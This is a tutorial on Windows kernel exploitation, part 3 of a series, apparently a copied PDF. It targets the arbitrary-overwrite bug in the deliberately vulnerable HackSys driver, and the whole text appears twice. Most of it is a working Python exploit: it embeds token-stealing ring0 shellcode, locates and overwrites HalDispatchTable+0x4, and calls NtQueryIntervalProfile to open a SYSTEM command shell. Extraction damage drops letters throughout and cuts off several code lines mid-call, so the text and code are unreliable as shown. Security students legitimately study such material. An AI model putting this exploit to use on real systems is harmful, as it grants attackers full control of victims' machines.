this is for educational purpose only i am not responsable for unwanted actions
Windows Kernel Exploitation: part 3
Arbitrary Memory Overwrite
(Write-What-Where)
Overview
In the previous post, we looked into exploiting a basic kernel stack over ow vulnerability.
This part will focus on another vulnerability, Arbitrary Memory Overwrite, also known as Write-What-Where vulnerability. Basic exploitation concept for this would be to overwrite a pointer in a Kernel Dispatch Table (Where) with the address to our shellcode (What).
Analysis
To analyze the vulnerability, let’s look into the ArbitraryOverwrite.c le in the source code.
#ifdef SECURE
// Secure Note: This is secure because the developer is properly validating if addres
// pointed by 'Where' and 'What' value resides in User mode by calling ProbeForRead()
// routine before performing the write operation
ProbeForRead((PVOID)Where, sizeof(PULONG_PTR), (ULONG)__alignof(PULONG_PTR));
ProbeForRead((PVOID)What, sizeof(PULONG_PTR), (ULONG)__alignof(PULONG_PTR));
*(Where) = *(What);
#else
DbgPrint("[+] Triggering Arbitrary Overwrite\n");
// Vulnerability Note: This is a vanilla Arbitrary Memory Overwrite vulnerability
// because the developer is writing the value pointed by 'What' to memory location
// pointed by 'Where' without properly validating if the values pointed by 'Where'
// and 'What' resides in User mode
*(Where) = *(What);
Again, a really good job in explaining the vulnerability and the x as well. The issue here is the lack of validaction of the two pointers (what and where), whether they reside in user space or kernel space. The secure version properly checks if both the pointers reside in the User Space or not using the ProbeForRead function.
Now that we understand the vulnerability, we need the IOCTL code to trigger it as well. In the previous post, we just looked into the IrpDeviceIoCtlHandler call for the IOCTL code. But this time, we’d look into the HackSysExtremeVulnerableDriver.h le for all the codes and calculate the IOCTL code from it.
The CTL_CODE macro is used to create a unique system IOCTL, and from the above macro, we can calculate the IOCTL in python by running the following command:
hex((0x00000022 << 16) | (0x00000000 << 14) | (0x802 << 2) | 0x00000003)
This should give you IOCTL of 0x22200b.
Now, let’s analyze the TriggerArbitraryOverwrite function in IDA:

The thing to note here is the length of 8 bytes. First 4 bytes being the What, and the next 4 bytes to be the Where.
Exploitation
Let’s get to the fun part now. We’ll take the skeleton script from our previous part, modify the IOCTL and see if it works.
import ctypes, sys, struct
from ctypes import *
from subprocess import *
def main():
kernel32 = windll.kernel32
psapi = windll.Psapi
ntdll = windll.ntdll
hevDevice = kernel32.CreateFileA("\\\\.\\HackSysExtremeVulnerableDriver", 0xC0000000, 0,
if not hevDevice or hevDevice == -1:
print "*** Couldn't get Device Driver handle"
sys.exit(-1)
buf = "A"*10016
bufLength = len(buf)
kernel32.DeviceIoControl(hevDevice, 0x22200b, buf, bufLength, None, 0, byref(c_ulong()),
if __name__ == "__main__":
main()

Working ne. Now let’s start building our exploit.
The rst step to exploit this vulnerability is to nd some address in kernel space to overwrite safely and reliably, without crashing the machine. Luckily, there’s a rarely used function in the kernel NtQueryIntervalPro le, that calls another function KeQueryIntervalPro le, which again calls HalDispatchTable+0x4.
I know it’s confusing, but a really good readup on the matter is available at poppopret blog, that accurately summarises the ow of the execution for the exploitation:
1. Load the kernel executive ntkrnlpa.exe in userland in order to be able to get the o set of HalDispatchTable and then to deduce its address in kernelland.
2. Retrieve the address of our shellcode.
3. Retrieve the address of the syscall NtQueryIntervalPro le() within ntdll.dll.
4. Overwrite the pointer at nt!HalDispatchTable+0x4 with the address of our shellcode function.
5. Call the function NtQueryIntervalPro le() in order to launch the shellcode
Let’s analyze the ow to nt!HalDispatchTable+0x4 by disassembling the NtQueryIntervalPro le function:

Let’s go into the KeQueryIntervalPro le call:

This is the pointer that we need to overwrite, so that it points to our shellcode. In summary, if we overwrite this pointer, and call the NtQueryIntervalPro le, the execution ow should land onto our shellcode.
Simple enough, we’d proceed with building our exploit step by step.
First, we would enumerate the load address for all the device drivers. For this, we’d use the EnumDeviceDrivers function. Then we’d nd the base name of the drivers through GetDeviceDriverBaseNameA function. And fetch the base name and address for ntkrnlpa.exe.
#Enumerating load addresses for all device drivers
enum_base = (c_ulong * 1024)()
enum = psapi.EnumDeviceDrivers(byref(enum_base), c_int(1024), byref(c_long()))
if not enum:
print "Failed to enumerate!!!"
sys.exit(-1)
for base_address in enum_base:
if not base_address:
continue
base_name = c_char_p('\x00' * 1024)
driver_base_name = psapi.GetDeviceDriverBaseNameA(base_address, base_name, 48)
if not driver_base_name:
print "Unable to get driver base name!!!"
sys.exit(-1)
if base_name.value.lower() == 'ntkrnl' or 'ntkrnl' in base_name.value.lower():
base_name = base_name.value
print "[+] Loaded Kernel: {0}".format(base_name)
print "[+] Base Address of Loaded Kernel: {0}".format(hex(base_address))
break
Now we have the base name and address of ntkrnlpa.exe, let’s calculate the address of HalDispatchTable. We’d load the ntkrnlpa.exe into the memory through LoadLibraryExA function, and then get the address for HalDispatchTable through the GetProcAddress function.
kernel_handle = kernel32.LoadLibraryExA(base_name, None, 0x00000001)
if not kernel_handle:
print "Unable to get Kernel Handle"
sys.exit(-1)
hal_address = kernel32.GetProcAddress(kernel_handle, 'HalDispatchTable')
# Subtracting ntkrnlpa base in user space
hal_address -= kernel_handle
# To find the HalDispatchTable address in kernel space, add the base address of ntkrnpa in ke
hal_address += base_address
# Just add 0x4 to HAL address for HalDispatchTable+0x4
hal4 = hal_address + 0x4
print "[+] HalDispatchTable
: {0}".format(hex(hal_address))
print "[+] HalDispatchTable+0x4: {0}".format(hex(hal4))
Final step is to de ne our What-Where:
What –> Address to our shellcode
Where –> HalDispatchTable+0x4
class WriteWhatWhere(Structure):
_fields_ = [
("What", c_void_p),
("Where", c_void_p)
]
#What-Where
www = WriteWhatWhere()
www.What = shellcode_final_address
www.Where = hal4
www_pointer = pointer(www)
print "[+] What : {0}".format(hex(www.What))
print "[+] Where: {0}".format(hex(www.Where))
Combining all of the above, with our shellcode taken from the previous part (the token stealing one), the final exploit looks like:
import ctypes, sys, struct
from ctypes import *
from subprocess import *
class WriteWhatWhere(Structure):
_fields_ = [
("What", c_void_p),
("Where", c_void_p)
]
def main():
kernel32 = windll.kernel32
psapi = windll.Psapi
ntdll = windll.ntdll
#Defining the ring0 shellcode and loading it in VirtualAlloc.
shellcode = bytearray(
"\x90\x90\x90\x90"
# NOP Sled
"\x60"
# pushad
"\x31\xc0"
# xor eax,eax
"\x64\x8b\x80\x24\x01\x00\x00" # mov eax,[fs:eax+0x124]
"\x8b\x40\x50"
# mov eax,[eax+0x50]
"\x89\xc1"
# mov ecx,eax
"\xba\x04\x00\x00\x00"
# mov edx,0x4
"\x8b\x80\xb8\x00\x00\x00"
# mov eax,[eax+0xb8]
"\x2d\xb8\x00\x00\x00"
# sub eax,0xb8
"\x39\x90\xb4\x00\x00\x00"
# cmp [eax+0xb4],edx
"\x75\xed"
# jnz 0x1a
"\x8b\x90\xf8\x00\x00\x00"
# mov edx,[eax+0xf8]
"\x89\x91\xf8\x00\x00\x00"
# mov [ecx+0xf8],edx
"\x61"
# popad
"\x31\xc0"
# xor eax,eax
"\x83\xc4\x24"
# add esp,byte +0x24
"\x5d"
# pop ebp
"\xc2\x08\x00"
# ret 0x8
)
ptr = kernel32.VirtualAlloc(c_int(0),c_int(len(shellcode)),c_int(0x3000),c_int(0x40))
buff = (c_char * len(shellcode)).from_buffer(shellcode)
kernel32.RtlMoveMemory(c_int(ptr),buff,c_int(len(shellcode)))
shellcode_address = id(shellcode) + 20
shellcode_final = struct.pack("<L",ptr)
shellcode_final_address = id(shellcode_final) + 20
print "[+] Address of ring0 shellcode: {0}".format(hex(shellcode_address))
print "[+] Pointer for ring0 shellcode: {0}".format(hex(shellcode_final_address))
#Enumerating load addresses for all device drivers, and fetching base address and name f
enum_base = (c_ulong * 1024)()
enum = psapi.EnumDeviceDrivers(byref(enum_base), c_int(1024), byref(c_long()))
if not enum:
print "Failed to enumerate!!!"
sys.exit(-1)
for base_address in enum_base:
if not base_address:
continue
base_name = c_char_p('\x00' * 1024)
driver_base_name = psapi.GetDeviceDriverBaseNameA(base_address, base_name, 48)
if not driver_base_name:
print "Unable to get driver base name!!!"
sys.exit(-1)
if base_name.value.lower() == 'ntkrnl' or 'ntkrnl' in base_name.value.lower():
base_name = base_name.value
print "[+] Loaded Kernel: {0}".format(base_name)
print "[+] Base Address of Loaded Kernel: {0}".format(hex(base_address))
break
#Getting the HalDispatchTable
kernel_handle = kernel32.LoadLibraryExA(base_name, None, 0x00000001)
if not kernel_handle:
print "Unable to get Kernel Handle"
sys.exit(-1)
hal_address = kernel32.GetProcAddress(kernel_handle, 'HalDispatchTable')
# Subtracting ntkrnlpa base in user space
hal_address -= kernel_handle
# To find the HalDispatchTable address in kernel space, add the base address of ntkrnpa
hal_address += base_address
# Just add 0x4 to HAL address for HalDispatchTable+0x4
hal4 = hal_address + 0x4
print "[+] HalDispatchTable
: {0}".format(hex(hal_address))
print "[+] HalDispatchTable+0x4: {0}".format(hex(hal4))
#What-Where
www = WriteWhatWhere()
www.What = shellcode_final_address
www.Where = hal4
www_pointer = pointer(www)
print "[+] What : {0}".format(hex(www.What))
print "[+] Where: {0}".format(hex(www.Where))
hevDevice = kernel32.CreateFileA("\\\\.\\HackSysExtremeVulnerableDriver", 0xC0000000, 0,
if not hevDevice or hevDevice == -1:
print "*** Couldn't get Device Driver handle"
sys.exit(-1)
kernel32.DeviceIoControl(hevDevice, 0x0022200B, www_pointer, 0x8, None, 0, byref(c_ulong
#Calling the NtQueryIntervalProfile function, executing our shellcode
ntdll.NtQueryIntervalProfile(0x1337, byref(c_ulong()))
print "[+] nt authority\system shell incoming"
Popen("start cmd", shell=True)
if __name__ == "__main__":
main()


Windows Kernel Exploitation: part 3
Arbitrary Memory Overwrite
(Write-What-Where)
Overview
In the previous post, we looked into exploiting a basic kernel stack over ow vulnerability.
This part will focus on another vulnerability, Arbitrary Memory Overwrite, also known as Write-What-Where vulnerability. Basic exploitation concept for this would be to overwrite a pointer in a Kernel Dispatch Table (Where) with the address to our shellcode (What).
Analysis
To analyze the vulnerability, let’s look into the ArbitraryOverwrite.c le in the source code.
#ifdef SECURE
// Secure Note: This is secure because the developer is properly validating if addres
// pointed by 'Where' and 'What' value resides in User mode by calling ProbeForRead()
// routine before performing the write operation
ProbeForRead((PVOID)Where, sizeof(PULONG_PTR), (ULONG)__alignof(PULONG_PTR));
ProbeForRead((PVOID)What, sizeof(PULONG_PTR), (ULONG)__alignof(PULONG_PTR));
*(Where) = *(What);
#else
DbgPrint("[+] Triggering Arbitrary Overwrite\n");
// Vulnerability Note: This is a vanilla Arbitrary Memory Overwrite vulnerability
// because the developer is writing the value pointed by 'What' to memory location
// pointed by 'Where' without properly validating if the values pointed by 'Where'
// and 'What' resides in User mode
*(Where) = *(What);
Again, a really good job in explaining the vulnerability and the x as well. The issue here is the lack of validaction of the two pointers (what and where), whether they reside in user space or kernel space. The secure version properly checks if both the pointers reside in the User Space or not using the ProbeForRead function.
Now that we understand the vulnerability, we need the IOCTL code to trigger it as well. In the previous post, we just looked into the IrpDeviceIoCtlHandler call for the IOCTL code. But this time, we’d look into the HackSysExtremeVulnerableDriver.h le for all the codes and calculate the IOCTL code from it.
The CTL_CODE macro is used to create a unique system IOCTL, and from the above macro, we can calculate the IOCTL in python by running the following command:
hex((0x00000022 << 16) | (0x00000000 << 14) | (0x802 << 2) | 0x00000003)
This should give you IOCTL of 0x22200b.
Now, let’s analyze the TriggerArbitraryOverwrite function in IDA:
The thing to note here is the length of 8 bytes. First 4 bytes being the What, and the next 4 bytes to be the Where.
Exploitation
Let’s get to the fun part now. We’ll take the skeleton script from our previous part, modify the IOCTL and see if it works.
import ctypes, sys, struct
from ctypes import *
from subprocess import *
def main():
kernel32 = windll.kernel32
psapi = windll.Psapi
ntdll = windll.ntdll
hevDevice = kernel32.CreateFileA("\\\\.\\HackSysExtremeVulnerableDriver", 0xC0000000, 0,
if not hevDevice or hevDevice == -1:
print "*** Couldn't get Device Driver handle"
sys.exit(-1)
buf = "A"*10016
bufLength = len(buf)
kernel32.DeviceIoControl(hevDevice, 0x22200b, buf, bufLength, None, 0, byref(c_ulong()),
if __name__ == "__main__":
main()
Working ne. Now let’s start building our exploit.
The rst step to exploit this vulnerability is to nd some address in kernel space to overwrite safely and reliably, without crashing the machine. Luckily, there’s a rarely used function in the kernel NtQueryIntervalPro le, that calls another function KeQueryIntervalPro le, which again calls HalDispatchTable+0x4.
I know it’s confusing, but a really good readup on the matter is available at poppopret blog, that accurately summarises the ow of the execution for the exploitation:
1. Load the kernel executive ntkrnlpa.exe in userland in order to be able to get the o set of HalDispatchTable and then to deduce its address in kernelland.
2. Retrieve the address of our shellcode.
3. Retrieve the address of the syscall NtQueryIntervalPro le() within ntdll.dll.
4. Overwrite the pointer at nt!HalDispatchTable+0x4 with the address of our shellcode function.
5. Call the function NtQueryIntervalPro le() in order to launch the shellcode
Let’s analyze the ow to nt!HalDispatchTable+0x4 by disassembling the NtQueryIntervalPro le function:
Let’s go into the KeQueryIntervalPro le call:
This is the pointer that we need to overwrite, so that it points to our shellcode. In summary, if we overwrite this pointer, and call the NtQueryIntervalPro le, the execution ow should land onto our shellcode.
Simple enough, we’d proceed with building our exploit step by step.
First, we would enumerate the load address for all the device drivers. For this, we’d use the EnumDeviceDrivers function. Then we’d nd the base name of the drivers through GetDeviceDriverBaseNameA function. And fetch the base name and address for ntkrnlpa.exe.
#Enumerating load addresses for all device drivers
enum_base = (c_ulong * 1024)()
enum = psapi.EnumDeviceDrivers(byref(enum_base), c_int(1024), byref(c_long()))
if not enum:
print "Failed to enumerate!!!"
sys.exit(-1)
for base_address in enum_base:
if not base_address:
continue
base_name = c_char_p('\x00' * 1024)
driver_base_name = psapi.GetDeviceDriverBaseNameA(base_address, base_name, 48)
if not driver_base_name:
print "Unable to get driver base name!!!"
sys.exit(-1)
if base_name.value.lower() == 'ntkrnl' or 'ntkrnl' in base_name.value.lower():
base_name = base_name.value
print "[+] Loaded Kernel: {0}".format(base_name)
print "[+] Base Address of Loaded Kernel: {0}".format(hex(base_address))
break
Now we have the base name and address of ntkrnlpa.exe, let’s calculate the address of HalDispatchTable. We’d load the ntkrnlpa.exe into the memory through LoadLibraryExA function, and then get the address for HalDispatchTable through the GetProcAddress function.
kernel_handle = kernel32.LoadLibraryExA(base_name, None, 0x00000001)
if not kernel_handle:
print "Unable to get Kernel Handle"
sys.exit(-1)
hal_address = kernel32.GetProcAddress(kernel_handle, 'HalDispatchTable')
# Subtracting ntkrnlpa base in user space
hal_address -= kernel_handle
# To find the HalDispatchTable address in kernel space, add the base address of ntkrnpa in ke
hal_address += base_address
# Just add 0x4 to HAL address for HalDispatchTable+0x4
hal4 = hal_address + 0x4
print "[+] HalDispatchTable
: {0}".format(hex(hal_address))
print "[+] HalDispatchTable+0x4: {0}".format(hex(hal4))
Final step is to de ne our What-Where:
What –> Address to our shellcode
Where –> HalDispatchTable+0x4
class WriteWhatWhere(Structure):
_fields_ = [
("What", c_void_p),
("Where", c_void_p)
]
#What-Where
www = WriteWhatWhere()
www.What = shellcode_final_address
www.Where = hal4
www_pointer = pointer(www)
print "[+] What : {0}".format(hex(www.What))
print "[+] Where: {0}".format(hex(www.Where))
Combining all of the above, with our shellcode taken from the previous part (the token stealing one), the final exploit looks like:
import ctypes, sys, struct
from ctypes import *
from subprocess import *
class WriteWhatWhere(Structure):
_fields_ = [
("What", c_void_p),
("Where", c_void_p)
]
def main():
kernel32 = windll.kernel32
psapi = windll.Psapi
ntdll = windll.ntdll
#Defining the ring0 shellcode and loading it in VirtualAlloc.
shellcode = bytearray(
"\x90\x90\x90\x90"
# NOP Sled
"\x60"
# pushad
"\x31\xc0"
# xor eax,eax
"\x64\x8b\x80\x24\x01\x00\x00" # mov eax,[fs:eax+0x124]
"\x8b\x40\x50"
# mov eax,[eax+0x50]
"\x89\xc1"
# mov ecx,eax
"\xba\x04\x00\x00\x00"
# mov edx,0x4
"\x8b\x80\xb8\x00\x00\x00"
# mov eax,[eax+0xb8]
"\x2d\xb8\x00\x00\x00"
# sub eax,0xb8
"\x39\x90\xb4\x00\x00\x00"
# cmp [eax+0xb4],edx
"\x75\xed"
# jnz 0x1a
"\x8b\x90\xf8\x00\x00\x00"
# mov edx,[eax+0xf8]
"\x89\x91\xf8\x00\x00\x00"
# mov [ecx+0xf8],edx
"\x61"
# popad
"\x31\xc0"
# xor eax,eax
"\x83\xc4\x24"
# add esp,byte +0x24
"\x5d"
# pop ebp
"\xc2\x08\x00"
# ret 0x8
)
ptr = kernel32.VirtualAlloc(c_int(0),c_int(len(shellcode)),c_int(0x3000),c_int(0x40))
buff = (c_char * len(shellcode)).from_buffer(shellcode)
kernel32.RtlMoveMemory(c_int(ptr),buff,c_int(len(shellcode)))
shellcode_address = id(shellcode) + 20
shellcode_final = struct.pack("<L",ptr)
shellcode_final_address = id(shellcode_final) + 20
print "[+] Address of ring0 shellcode: {0}".format(hex(shellcode_address))
print "[+] Pointer for ring0 shellcode: {0}".format(hex(shellcode_final_address))
#Enumerating load addresses for all device drivers, and fetching base address and name f
enum_base = (c_ulong * 1024)()
enum = psapi.EnumDeviceDrivers(byref(enum_base), c_int(1024), byref(c_long()))
if not enum:
print "Failed to enumerate!!!"
sys.exit(-1)
for base_address in enum_base:
if not base_address:
continue
base_name = c_char_p('\x00' * 1024)
driver_base_name = psapi.GetDeviceDriverBaseNameA(base_address, base_name, 48)
if not driver_base_name:
print "Unable to get driver base name!!!"
sys.exit(-1)
if base_name.value.lower() == 'ntkrnl' or 'ntkrnl' in base_name.value.lower():
base_name = base_name.value
print "[+] Loaded Kernel: {0}".format(base_name)
print "[+] Base Address of Loaded Kernel: {0}".format(hex(base_address))
break
#Getting the HalDispatchTable
kernel_handle = kernel32.LoadLibraryExA(base_name, None, 0x00000001)
if not kernel_handle:
print "Unable to get Kernel Handle"
sys.exit(-1)
hal_address = kernel32.GetProcAddress(kernel_handle, 'HalDispatchTable')
# Subtracting ntkrnlpa base in user space
hal_address -= kernel_handle
# To find the HalDispatchTable address in kernel space, add the base address of ntkrnpa
hal_address += base_address
# Just add 0x4 to HAL address for HalDispatchTable+0x4
hal4 = hal_address + 0x4
print "[+] HalDispatchTable
: {0}".format(hex(hal_address))
print "[+] HalDispatchTable+0x4: {0}".format(hex(hal4))
#What-Where
www = WriteWhatWhere()
www.What = shellcode_final_address
www.Where = hal4
www_pointer = pointer(www)
print "[+] What : {0}".format(hex(www.What))
print "[+] Where: {0}".format(hex(www.Where))
hevDevice = kernel32.CreateFileA("\\\\.\\HackSysExtremeVulnerableDriver", 0xC0000000, 0,
if not hevDevice or hevDevice == -1:
print "*** Couldn't get Device Driver handle"
sys.exit(-1)
kernel32.DeviceIoControl(hevDevice, 0x0022200B, www_pointer, 0x8, None, 0, byref(c_ulong
#Calling the NtQueryIntervalProfile function, executing our shellcode
ntdll.NtQueryIntervalProfile(0x1337, byref(c_ulong()))
print "[+] nt authority\system shell incoming"
Popen("start cmd", shell=True)
if __name__ == "__main__":
main()